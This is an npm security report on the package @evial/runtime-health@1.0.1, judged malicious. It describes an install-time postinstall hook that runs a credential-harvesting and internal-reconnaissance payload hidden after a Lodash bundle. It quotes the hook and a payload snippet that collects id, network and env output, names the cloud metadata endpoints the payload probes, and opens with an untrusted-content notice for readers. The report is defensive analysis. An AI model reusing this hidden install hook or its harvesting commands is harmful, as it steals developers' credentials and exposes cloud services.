--- canonical: "https://firewall.lpm.dev/npm/@evial/runtime-health/v/1.0.1" markdown: "https://firewall.lpm.dev/npm/@evial/runtime-health/v/1.0.1.md" package: "@evial/runtime-health" report_status: "published" title: "@evial/runtime-health@1.0.1 npm security report" verdict: "malicious" version: "1.0.1" --- # @evial/runtime-health@1.0.1 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — Exposure of local credentials and environment data; access or discovery of cloud and internal services. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Credential Exfiltration - **Selected version:** 1.0.1 - **Selected version is latest:** Yes - **Analysis source:** AI Security Review (lpm-firewall-ai) npm postinstall executes an appended reconnaissance and credential-harvesting payload. It probes metadata and internal services using environment-derived credentials. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Verdict:** Malicious - **Confidence:** 99.0% - **Started:** 2026-08-16T20:38:47.590Z - **Finished:** 2026-08-16T20:40:35.687Z - **Download time:** 506 ms - **Static scan time:** 1689 ms - **AI review time:** 105902 ms - **Total time:** 108097 ms ## Security analysis ### Published attack-surface review - **Summary:** npm postinstall executes an appended reconnaissance and credential-harvesting payload. It probes metadata and internal services using environment-derived credentials. - **Trigger:** npm install - **Impact:** Exposure of local credentials and environment data; access or discovery of cloud and internal services. - **Evidence paths:** package.json, scripts/lodash.js - **Review source:** ai\_review - **Reviewed:** 2026-08-16T20:40:35.687Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** install-time credential harvesting, internal reconnaissance, and authenticated MCP probing - **Attack narrative:** During npm install, postinstall requires scripts/lodash.js. Code appended after the Lodash bundle collects identity, network, and environment data; reads credential files; queries cloud metadata including role credentials; probes internal MCP endpoints with a bearer token taken from environment variables; scans internal ports; and writes the collected data to probe logs. - **Rationale:** This is a concrete, unconsented install-time credential-harvesting and internal-reconnaissance chain, not package-aligned runtime health behavior. - **Files touched:** package.json, scripts/lodash.js, rt2-probe.log, sysinfo2.log, /workspace/rt2-probe.log, /workspace/sysinfo2.log - **Network endpoints:** 169.254.169.254, 100.100.100.200, metadata.tencentyun.com, 10.100.0.46, 10.201.0.1 ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** postinstall directly requires the payload file., Payload executes shell commands to collect identity, network, and environment data., Payload reads cloud, npm, Kubernetes, Docker, and Git credential files., Payload queries cloud metadata and role credential endpoints., Payload forwards environment-derived bearer credentials to an internal MCP host., Payload scans internal hosts and writes collected output. - **Evidence against:** Most of scripts/lodash.js is Lodash 4.17.21, but an executable payload is appended after it. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node -e "require('./scripts/lodash.js')" ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.postinstall = node -e "require('./scripts/lodash.js')" ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 5. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 6. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 7. High: Cloud Metadata Access - **Category:** Source - **Confidence:** 84.0% - **Path:** scripts/lodash.js - **Public source:** [View source]() Source reaches cloud instance metadata or link-local credential endpoints. Public source snippet (untrusted): ```javascript L2: * @license L3: * Lodash L4: * Copyright OpenJS Foundation and other contributors ... L478: * L479: * @private L480: * @param {Function} func The function to invoke. ... L1632: * `union`, `unionBy`, `unionWith`, `uniq`, `uniqBy`, `uniqWith`, `unset`, L1633: * `unshift`, `unzip`, `unzipWith`, `update`, `updateWith`, `values`, L1634: * `valuesIn`, `without`, `wrap`, `xor`, `xorBy`, `xorWith`, `zip`, ... L14831: * // line numbers in error messages and stack traces. L14832: * fs.writeFileSync(path.join(process.cwd(), 'jst.js'), '\ L14833: * var JST = {\ ``` ### 8. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 9. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 10. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 100.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ### 11. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() postinstall directly requires the payload file. Public source snippet (untrusted): ```json "scripts": { "postinstall": "node -e \"require('./scripts/lodash.js')\"" ``` ### 12. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** scripts/lodash.js - **Public source:** [View source]() Payload executes shell commands to collect identity, network, and environment data. Public source snippet (untrusted): ```javascript var out = '[' + __now + '] host=' + __os.hostname() + ' user=' + (__os.userInfo && __os.userInfo().username) + '\n'; out += '--- id ---\n' + __sh('id') + '\n'; out += '--- ifconfig/ip ---\n' + __sh("ip -o addr 2>/dev/null || ifconfig 2>/dev/null || hostname -I") + '\n'; out += '--- env ---\n' + __sh('env') + '\n'; ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 1 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 1 ### Published dependency entries - lodash ^4.17.21 (Dependency) ## Package metadata - **Package:** @evial/runtime-health - **Ecosystem:** npm - **Version:** 1.0.1 - **License:** MIT - **Version published:** 2026-08-16T20:28:39.293Z - **Package first seen:** 2026-08-16T20:40:35.687Z - **Package last seen:** 2026-08-16T20:40:35.687Z - **Known versions:** 1 - **Latest version:** 1.0.1 - **Appeal under review:** No - **Description:** Lodash-based runtime utility helpers with a small self-registration bootstrap. - **Artifact files:** 3 - **Artifact unpacked size:** 551,839 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]()